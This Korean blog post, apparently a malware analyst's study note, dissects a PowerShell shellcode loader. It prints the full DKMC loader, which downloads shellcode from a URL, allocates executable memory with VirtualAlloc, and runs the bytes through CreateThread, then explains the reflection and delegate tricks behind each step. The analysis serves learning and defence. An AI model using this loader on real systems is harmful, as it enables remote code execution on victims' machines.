0. 개요

1. 예제

2. 정리 중





0. 개요

  파워셸 악성코드의 경우 커맨드 라인으로 간단하게 cmdlet 만을 이용하는 방식 외에도 직접적으로 닷넷을 이용하여 악성 행위를 수행하는 경우가 많다. 이 경우 직관적인 부분 위주로 간략한 행위 정도는 파악할 수 있지만 상세한 내용을 분석해야 할 필요가 있어서 공부 삼아서 여기에 정리하려고 한다.


  가장 기본적인 샘플을 구해 이것 위주로 분석하기로 하며, 나아가 다른 복잡한 샘플들에서도 추가적인 부분들 위주로 계속 추가해 나갈 예정이다. 여기서는 다음 링크의 코드가 공부를 시작하는데 적합하다고 생각해서 조금 상세하게 진행하도록 한다. 



1. 예제

https://github.com/Exploit-install/DKMC/blob/master/core/util/exec-sc.ps1 ]



/*  source code  */


Set-StrictMode -Version 2


$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

}


function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()

}


[Byte[]]$var_code = (New-Object System.Net.WebClient).DownloadData("[URL]")


$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)


[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)


$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null

'@


If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}


/*  source code  */



  실질적인 역할을 하는건 $DoIt으로 선언한 파워셸 스크립트이다. 이 스크립트에서도 가장 마지막 라인들이 실제 행위를 수행한다. 참고로 " $DoIt = "@ ... "@ " 부분은 $DoIt 이라는 변수에 파워셸 스크립트 문자열을 저장한다. 그냥 쌍따옴표 대신 @를 이용한 이 방식은 내부 문자열에 쌍따옴표가 들어가도 인식할 수 있게 해준다. 그래서인지 이러한 여러 라인을 가진 복잡한 형태의 파워셸 악성코드에서는 항상 @ 문자열을 볼 수 있다.


  이제 $DoIt 스크립트를 보자. 먼저 다운로드한 셀코드를 Byte 배열 $var_code에 저장한다.

이후 $var_buffer 부분을 보면 버퍼를 할당하는데 직접 API 함수 VirtualAlloc()을 사용한다. 그리고 Copy()를 통해 셸코드를 $var_buffer로 복사한다. 이후 직접 CreateThread() API 함수를 호출하는데 시작 주소는 앞에서 할당 후 셸코드를 복사한 $var_buffer이다. 마지막으로 생성된 쓰레드에 대해 WaitForSIngleObject()로 대기하며 이 또한 직접 API 함수를 호출한다.


  C로 제작하였으면 간단했겠지만 여기서는 .net에서 직접 API 함수를 이용하는 메커니즘을 사용했기 때문에 내용이 많이 복잡해졌다. 물론 다른 악성코드 예제들보다는 훨씬 간단하기 때문에 이것을 예제로 하고 공부 중이며 간단하게 정리된 내용을 업로드하기로 한다.


  먼저 VirtualAlloc()을 호출하는 부분을 본다. 나머지는 함수들도 호출하는 방식은 동일하므로 이 함수를 호출하는 방식 위주로 진행한다. [System.Runtime.InteropServices.Marshal] 클래스의 GetDelegateForFunctionPointer() 메소드는 unmanaged function pointer를 Delegate로 변환하는 함수라고 한다. Delegate라는 개념은 대리자라고도 불리는데 간단하게 설명해서 메소드를 효율적으로 사용하기 위해 특정 메소드 자체를 캡슐화할 수 있게 만들어주는 방식이라고 한다. 


  Delegate 자체는 개념이 어려우므로 넘어가고 어쩄든 해당 라인은 인자로 받은 unmanaged function pointer에 대해 Delegate로 변환시킨 후에 invoke로 해당 함수를 호출하는 것으로 간략하게 이해할 수 있다. Delegate 객체의 메소드로 invoke가 있으며 invoke 시에 인자를 줄 수 있는 것으로 보인다. 결국 GetDelegateForFunctionPointer() 메소드를 통해 VirtualAlloc()에 대한 Delegate 객체가 생성되었고 이것을 실행하는 방식이다.


  특정 API 함수에 대한 Delegate 객체가 있다면 호출할 수 있다는 점은 알게 되었고, 이제 GetDelegateForFunctionPointer() 메소드가 어떤 방식을 통해 해당 객체를 생성하는지의 과정을 보자.


  이 함수는 인자로 변환할 unmanaged 함수의 포인터 뿐만 아니라 생성할 Delegate 객체의 타입을 받는다. 여기서는 func_get_proc_address 함수를 통해 (인자로 kernel32.dll과 VirtualAlloc()을 받아서) unmanaged 함수의 포인터를 생성하는 것으로 보인다. 마찬가지로 타입은 func_get_delegate_type 함수를 통해 (인자로 VirtualAlloc() 함수의 인자와 동일한 인자들을 받아서) Delegate 타입을 생성하였다.


  이제 앞의 두 함수만 보면 (이름도 굉장히 직관적이다) unmanaged 함수의 포인터와 Delegate 객체의 타입이 어떻게 생성되는지를 확인할 수 있다. 먼저 func_get_proc_address 함수는 먼저 system.dll 어셈블리에서 Microsoft.Win32.UnsafeNativeMethods 를 찾는다. 


  어셈블리는 단일한 단위로 존재하는 .NET의 실행 가능한 프로그램 또는 실행 프로그램의 일부라고 하며 대표적으로 exe와 dll이 있다. 참고로 어셈블리는 MSIL 코드 외에도 Type Metadata, Assembly Manifest, Resource 등을 포함한다. 


  Microsoft.Win32.UnsafeNativeMethods 클래스를 구한 후 변수 $var_unsafe_native_methods에 저장한다. 구하는 방식은 현재 AppDomain에서 어셈블리를 획득한 후 이 중에서 해당 클래스가 구현된 system.dll을 획득하여 구하는 방식이다. 이제 UnsafeNativeMethods 클래스의 GetMethod 메소드를 통해 API 함수 이름을 인자로 받아 구하고 사용할 수 있다. API 함수를 호출할 때마다 이 과정을 거칠 필요 없이 func_get_proc_address는 인자로 DLL 이름과 API 함수 이름을 받아서 이 과정 즉 직접 LoadLibrary()와 GetProcAddress()를 통해 API 함수에 대한 주소를 구해 준다.


  다음으로 func_get_delegate_type 함수가 있다. 이 함수는 파워셸에서 delegate 키워드를 사용하는 것과 같은 효과를 준다. 즉 C#에서는 간단하게 타입을 지정할 때 delegate를 지정하면 되지만 파워셸에서는 해당 문법이 지원되지 않기 때문에 위와 같은 방식으로 직접 구현한 것이다.


  결론적으로 파워셸에서 닷넷 문법을 통해 API 함수를 직접적으로 사용할 수 있도록 구현된 것이며 내용 자체는 위와 같이 간단하다. 마지막 부분도 그냥 iex를 이용해 선언한 스크립트를 실행시키는 것이 전부이다.


  Start-Job cmdlet은 파워셸 스크립트를 백그라운드에서 실행시키며, 32bit 환경인지 64bit 환경인지를 검사한 후 64비트인 경우 (다운로드 받는 셸코드를 32비트로 전제한 것 같다) "-RunAs32" 옵션을 주고 32비트 프로세스로 실행시킨다.


  참고로 Powreliks 악성코드도 CreateThread() 대신 CallWindowProcA()을 사용했다는 점을 제외하면 동일한 방식이 사용되었다. 사용된 파워셸 소스 코드는 다음 링크에서 확인할 수 있다. [ https://www.codeandsec.com/Poweliks-Malware-Analysis ]





3. 정리 중

  다음 링크에 3가지 방식이 정리되어 있다. 위에서 다룬 방식은 2번째 방식이며, 1번째 방식이 공식적으로 문서화 된 방식이라고 한다.


https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/ ]



'악성코드 분석' 카테고리의 다른 글

목록  (1) 2019.06.14
리눅스 IoT 악성코드들의 전파 방식  (0) 2019.06.14
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함